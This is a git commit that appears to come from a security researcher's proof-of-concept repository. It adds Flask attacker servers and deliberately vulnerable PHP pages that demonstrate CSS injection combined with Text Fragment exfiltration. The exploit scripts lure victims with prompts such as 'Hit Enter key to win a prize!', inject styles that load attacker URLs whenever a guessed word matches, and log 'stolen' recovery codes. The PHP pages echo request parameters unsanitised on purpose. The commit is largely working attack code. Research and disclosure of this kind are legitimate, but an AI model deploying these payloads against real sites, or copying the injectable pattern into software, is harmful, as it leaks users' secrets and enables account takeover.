pocs

SECFORCE · Jun 12, 2022 · a742b10 · a742b10
commit a742b10
Show file tree

Hide file tree

Showing 5 changed files with 181 additions and 0 deletions.
diff --git a/bonus_poc_exploit.py b/bonus_poc_exploit.py
@@ -0,0 +1,52 @@
+from flask import Flask
+from flask import request, send_file
+import sys
+import random
+
+app = Flask(__name__)
+
+VICTIM = "http://victim:5000"
+ATTACKER = "http://attacker:1337"
+
+fruits_all = ["Apple","Apricot","Avocado","Banana","Bilberry","Blackberry","Blackcurrant","Blueberry","Boysenberry","Currant","Cherry","Cherimoya"]
+
+def gen_redirect(try_fruit):
+    return f"""<script>
+    let injection = `
+    <style>
+    :target::target-text {{ color:rgba(0,0,0,0%); }}
+    :target::before {{ content : url({ATTACKER}/receive/{try_fruit}?{random.randint(10000,99999)}) }}
+    body {{ background-image: url("{ATTACKER}/receive/bg"); background-repeat: no-repeat; background-position: center; }} 
+    .game, .game > h1 {{ visibility: visible }}
+    * {{ visibility: hidden }} 
+    li {{ visibility: visible; color: rgba(0,0,0,0%) }}
+    </style>
+    <a class="game" href='{ATTACKER}/redirect' autofocus><h1>Hit Enter to play again!</h1></a>`.replaceAll('\\n', ' ');
+    location = `{VICTIM}/?user=${{encodeURIComponent(injection)}}#:~:text={try_fruit}`;
+</script>
+    """
+
+i = 0
+extracted_fruits = []
+
+@app.route('/redirect')
+def redirect():
+    global i
+    i+=1
+    return gen_redirect(fruits_all[i-1]) if i <= len(fruits_all) else "Thank you for cooperation"
+
+@app.route('/')
+def solve():
+    return f"""<a href='{ATTACKER}/redirect' autofocus>Hit Enter key to win a prize!</a><script>"""
+
+@app.route('/receive/<word>')
+def receiver(word):
+    global extracted_fruits
+    if not word == "bg": extracted_fruits.append(word)
+    print("Stolen: ", extracted_fruits, flush=True, file=sys.stdout)
+    return send_file("won.png", mimetype='image/png') if not word == "bg" else send_file("bg.jpg", mimetype='image/jpeg')
+
+@app.after_request
+def add_header(response):
+    response.headers['Cache-Control'] = 'no-store'
+    return response
diff --git a/poc1_vulnerable_app.php b/poc1_vulnerable_app.php
@@ -0,0 +1,14 @@
+<?php
+header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'none'; base-uri 'none'; style-src 'unsafe-inline'; img-src *;");
+?>
+<!doctype html>
+<meta charset=utf-8>
+ <head>
+     <title>Home - Internal web page</title>
+ </head>
+ <body>
+     Hello Administrator,
+     <p>Important updates</p>
+     <div><?=$_GET['note']?></div>
+ </body>
+</html>
diff --git a/poc2_exploit.py b/poc2_exploit.py
@@ -0,0 +1,39 @@
+from flask import Flask
+from flask import request
+import sys
+
+app = Flask(__name__)
+
+VICTIM = "http://victim:5000"
+ATTACKER = "http://attacker:1337"
+
+fruits_all = ["Apple","Apricot","Avocado","Banana","Bilberry","Blackberry","Blackcurrant","Blueberry","Boysenberry","Currant","Cherry","Cherimoya"]
+
+def gen_redirect(try_fruit):
+    return f"""<script>
+    let injection = `
+    <style>:target::before {{ content : url({ATTACKER}/receive/{try_fruit}) }}</style>
+    <a href='{ATTACKER}/redirect' autofocus><h1>Hit Enter once again!</h1></a>`.replaceAll('\\n', ' ');
+    location = `{VICTIM}/?user=${{encodeURIComponent(injection)}}#:~:text={try_fruit}`;
+</script>
+    """
+
+i = 0
+extracted_fruits = []
+
+@app.route('/redirect')
+def redirect():
+    global i
+    i+=1
+    return gen_redirect(fruits_all[i-1]) if i <= len(fruits_all) else "Thank you for cooperation"
+
+@app.route('/')
+def solve():
+    return f"""<a href='{ATTACKER}/redirect' autofocus>Hit Enter key to win a prize!</a><script>"""
+
+@app.route('/receive/<word>')
+def receiver(word):
+    global extracted_fruits
+    extracted_fruits.append(word)
+    print("Stolen: ", extracted_fruits, flush=True, file=sys.stdout)
+    return "ok"
diff --git a/poc2_vulnerable_app.php b/poc2_vulnerable_app.php
@@ -0,0 +1,27 @@
+<?php
+header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'none'; base-uri 'none'; style-src 'unsafe-inline'; img-src *;");
+?>
+
+<html>
+<head>
+    <title>CSS target exfil</title>
+</head>
+    <body>
+        Hello, <?=$_GET['user'];?>
+        <div>
+            <h3>Recovery codes</h3>
+            <div>
+              <b>Put these in a safe spot.</b>
+              If you lose your device and don't have the recovery codes you will lose access to your account.
+            </div>    
+        <ul>
+            <li>Currant</li>
+            <li>Blueberry</li>
+            <li>Banana</li>
+            <li>Blackberry</li>
+            <li>Cherry</li>
+            <li>Bilberry</li>            
+        </ul>
+        </div>
+    </body>
+</html>
diff --git a/poc3_exploit.py b/poc3_exploit.py
@@ -0,0 +1,49 @@
+from flask import Flask
+from flask import request
+import sys
+
+app = Flask(__name__)
+
+VICTIM = "http://victim:5000"
+ATTACKER = "http://attacker:1337"
+
+fruits_all = ["Apple","Apricot","Avocado","Banana","Bilberry","Blackberry","Blackcurrant","Blueberry","Boysenberry","Currant","Cherry","Cherimoya"]
+
+def gen_redirect(try_fruit):
+    return f"""<script>
+    let injection = `
+    <style>:target::before {{ content : url({ATTACKER}/receive/{try_fruit}) }}</style>
+    <div id="cookie-bar">
+        <a href="#:~:text={try_fruit}" class="cb-disable"></a>
+    </div>
+    <meta http-equiv="refresh" content="1;URL='{ATTACKER}/redirect'">`.replaceAll('\\n', ' ');
+    location = `{VICTIM}/?user=${{encodeURIComponent(injection)}}`;
+</script>
+    """
+
+i = 0
+extracted_fruits = []
+
+@app.route('/redirect')
+def redirect():
+    global i
+    i+=1
+    return gen_redirect(fruits_all[i-1]) if i <= len(fruits_all) else "Thank you for cooperation"
+
+@app.route('/')
+def solve():
+    return f"""Check this out!<script>
+    onclick = () => {{
+        let injection = `<meta http-equiv="refresh" content="0;URL='{ATTACKER}/redirect'">`;
+        let url = `{VICTIM}/?user=`;
+        location = url + encodeURIComponent(injection);
+    }}
+</script>
+    """
+
+@app.route('/receive/<word>')
+def receiver(word):
+    global extracted_fruits
+    extracted_fruits.append(word)
+    print("Stolen: ", extracted_fruits, flush=True, file=sys.stdout)
+    return "ok"